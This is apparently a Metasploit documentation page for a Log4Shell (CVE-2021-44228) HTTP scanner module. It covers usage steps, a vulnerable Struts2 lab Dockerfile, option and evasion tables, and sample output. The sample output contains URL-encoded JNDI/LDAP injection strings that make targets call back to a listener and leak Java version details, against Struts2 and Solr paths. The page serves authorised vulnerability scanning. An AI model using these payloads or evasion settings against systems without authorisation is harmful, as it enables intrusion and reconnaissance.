Log4Shell HTTP Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/log4shell_scanner metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Log4Shell HTTP Scanner
Module: auxiliary/scanner/http/log4shell_scanner
Source code: modules/auxiliary/scanner/http/log4shell_scanner.rb
Disclosure date: 2021-12-09
Last modification time: 2022-04-06 09:04:26 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-44228, CVE-2021-45046

This module is also known as Log4Shell or LogJam.

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache OFBiz.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/log4shell_scanner
msf auxiliary(log4shell_scanner) > show options
    ... show and set options ...
msf auxiliary(log4shell_scanner) > set RHOSTS ip-range
msf auxiliary(log4shell_scanner) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(log4shell_scanner) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(log4shell_scanner) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(log4shell_scanner) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. URI paths for common, known-vulnerable applications are included in the data/exploits/CVE-2021-44228/http_uris.txt data file.

This module has been successfully tested with:

  • Apache Solr
  • Apache Struts2
  • Spring Boot
  • VMWare VCenter

Verification Steps


  1. Setup a vulnerable Struts2 instance (see the steps below)
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/log4shell_scanner
  4. Set the SRVHOST, RHOSTS, RPORT and TARGETURI options
    • For Struts2, set TARGETURI to /struts2-showcase/
  5. Do: run
  6. The target should be identified as vulnerable

Apache Struts2 Setup

The following docker file can be used to setup a vulnerable Struts2 instance for testing.

#
# To build the image:
#   docker build . -t struts2:2.5.28
# To run the container:
#   docker run --name struts2 --rm -p 8080:8080 struts2:2.5.28
#

ARG version=2.5.28
FROM bitnami/tomcat:9.0
USER root
ENV TOMCAT_PASSWORD password

RUN apt-get update && \
    apt-get -y install unzip && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

RUN curl https://dlcdn.apache.org/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \
    unzip struts-all.zip && \
    cp /struts-2.5.28/apps/struts2-showcase.war /bitnami/tomcat/webapps/

Options


HTTP_METHOD

The HTTP method to use.

HEADERS_FILE

File containing headers to check, one per line. Lines starting with # will be treated as comments.

URIS_FILE

File containing additional URIs to check, one per line. These values will be appended to the TARGETURI option. Lines starting with # will be treated as comments. Lines may also contain the string ${jndi:uri} which will be used as the injection point. This enables query parameters to be included in the request which are required for certain applications.

LDAP_TIMEOUT

Time in seconds to wait to receive LDAP connections.

Scenarios


Apache Struts2

msf6 > use auxiliary/scanner/http/log4shell_scanner 
msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST 192.168.159.128
SRVHOST => 192.168.159.128
msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080
RPORT => 8080
msf6 auxiliary(scanner/http/log4shell_scanner) > set TARGETURI /struts2-showcase/
TARGETURI => /struts2-showcase/
msf6 auxiliary(scanner/http/log4shell_scanner) > run

[*] Started service listener on 192.168.159.128:389 
[+] Log4Shell found via /struts2-showcase/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.159.128%3a389/r7yol50kgg7be/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/log4shell_scanner) > 

Apache Solr

Apache Solr is trivially exploitable by a remote and unauthenticated attacker when in its default configuration:

msf6 > use auxiliary/scanner/http/log4shell_scanner
msf6 auxiliary(scanner/http/log4shell_scanner) > run http://10.10.235.209:8983/ srvhost=10.9.4.245

[*] Started service listener on 10.9.4.245:389
[+] 10.10.235.209:8983    - Log4Shell found via /solr/admin/cores?action=CREATE&wt=json&name=%24%7bjndi%3aldap%3a/10.9.4.245%3a389/vslscuy7m6q9pgfc18h/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/log4shell_scanner auxiliary module looks in the msfconsole:


msf6 > use auxiliary/scanner/http/log4shell_scanner
msf6 auxiliary(scanner/http/log4shell_scanner) > show info
       Name: Log4Shell HTTP Scanner
     Module: auxiliary/scanner/http/log4shell_scanner
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-12-09

Provided by:
  Spencer McIntyre

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Check supported:
  No

Basic options:
  Name          Current Setting                                     Required  Description
  ----          ---------------                                     --------  -----------
  HEADERS_FILE  /opt/metasploit-framework/embedded/framework/data/  no        File containing headers to check
                exploits/CVE-2021-44228/http_headers.txt
  HTTP_METHOD   GET                                                 yes       The HTTP method to use
  LDAP_TIMEOUT  30                                                  yes       Time in seconds to wait to receive LDAP connections
  Proxies                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT         80                                                  yes       The target port (TCP)
  SRVHOST       0.0.0.0                                             yes       The local host or network interface to listen on. This must be an address on the local machin
                                                                              e or 0.0.0.0 to listen on all addresses.
  SRVPORT       389                                                 yes       The local port to listen on.
  SSL           false                                               no        Negotiate SSL for incoming connections
  SSLCert                                                           no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI     /                                                   yes       The URI to scan
  THREADS       1                                                   yes       The number of concurrent threads (max one per host)
  URIS_FILE     /opt/metasploit-framework/embedded/framework/data/  no        File containing additional URIs to check
                exploits/CVE-2021-44228/http_uris.txt
  VHOST                                                             no        HTTP server virtual host

Description:
  Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow 
  JNDI features used in configuration, log messages, and parameters, 
  do not protect against attacker controlled LDAP and other JNDI 
  related endpoints. This module will scan an HTTP end point for the 
  Log4Shell vulnerability by injecting a format message that will 
  trigger an LDAP connection to Metasploit. This module is a generic 
  scanner and is only capable of identifying instances that are 
  vulnerable via one of the pre-determined HTTP request injection 
  points. These points include HTTP headers and the HTTP request path. 
  Known impacted software includes Apache Struts 2, VMWare VCenter, 
  Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache 
  OFBiz.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  https://nvd.nist.gov/vuln/detail/CVE-2021-45046
  https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis
  https://logging.apache.org/log4j/2.x/security.html

Also known as:
  Log4Shell
  LogJam

Module Options


This is a complete list of options available in the scanner/http/log4shell_scanner auxiliary module:


msf6 auxiliary(scanner/http/log4shell_scanner) > show options

Module options (auxiliary/scanner/http/log4shell_scanner):

   Name          Current Setting                                     Required  Description
   ----          ---------------                                     --------  -----------
   HEADERS_FILE  /opt/metasploit-framework/embedded/framework/data/  no        File containing headers to check
                 exploits/CVE-2021-44228/http_headers.txt
   HTTP_METHOD   GET                                                 yes       The HTTP method to use
   LDAP_TIMEOUT  30                                                  yes       Time in seconds to wait to receive LDAP connections
   Proxies                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         80                                                  yes       The target port (TCP)
   SRVHOST       0.0.0.0                                             yes       The local host or network interface to listen on. This must be an address on the local machi
                                                                               ne or 0.0.0.0 to listen on all addresses.
   SRVPORT       389                                                 yes       The local port to listen on.
   SSL           false                                               no        Negotiate SSL for incoming connections
   SSLCert                                                           no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                                                   yes       The URI to scan
   THREADS       1                                                   yes       The number of concurrent threads (max one per host)
   URIS_FILE     /opt/metasploit-framework/embedded/framework/data/  no        File containing additional URIs to check
                 exploits/CVE-2021-44228/http_uris.txt
   VHOST                                                             no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/log4shell_scanner auxiliary module:


msf6 auxiliary(scanner/http/log4shell_scanner) > show advanced

Module advanced options (auxiliary/scanner/http/log4shell_scanner):

   Name                  Current Setting                                  Required  Description
   ----                  ---------------                                  --------  -----------
   DOMAIN                WORKSTATION                                      yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                             no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                             no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                      no        HTTP connection and receive timeout
   HttpPassword                                                           no        The HTTP password to specify for authentication
   HttpRawHeaders                                                         no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                            no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                          no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                            no        Show HTTP headers only in HttpTrace
   HttpUsername                                                           no        The HTTP username to specify for authentication
   ListenerComm                                                           no        The specific communication channel to use for this service
   SSLCipher                                                              no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression        false                                            no        Enable SSL/TLS-level compression
   SSLVersion            Auto                                             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Acc
                                                                                    epted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                             yes       Display progress messages during a scan
   ShowProgressPercent   10                                               yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/5.0 (Macintosh; Intel Mac OS X 12.0; rv  no        The User-Agent header to use for all requests
                         :94.0) Gecko/20100101 Firefox/94.0
   VERBOSE               false                                            no        Enable detailed status messages
   WORKSPACE                                                              no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/log4shell_scanner module can do:


msf6 auxiliary(scanner/http/log4shell_scanner) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/log4shell_scanner auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):


msf6 auxiliary(scanner/http/log4shell_scanner) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The SRVHOST option must be set to a routable IP address.


Here is a relevant code snippet related to the "The SRVHOST option must be set to a routable IP address." error message:

119:	    foo += ('0'..'9').to_a
120:	    Rex::Text.rand_base(len, bad, *foo)
121:	  end
122:	
123:	  def run
124:	    fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
125:	    @mutex = Mutex.new
126:	    @tokens = {}
127:	    # always disable SSL because the LDAP server doesn't use it but the setting is shared with the HTTP requests
128:	    begin
129:	      start_service('SSL' => false)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.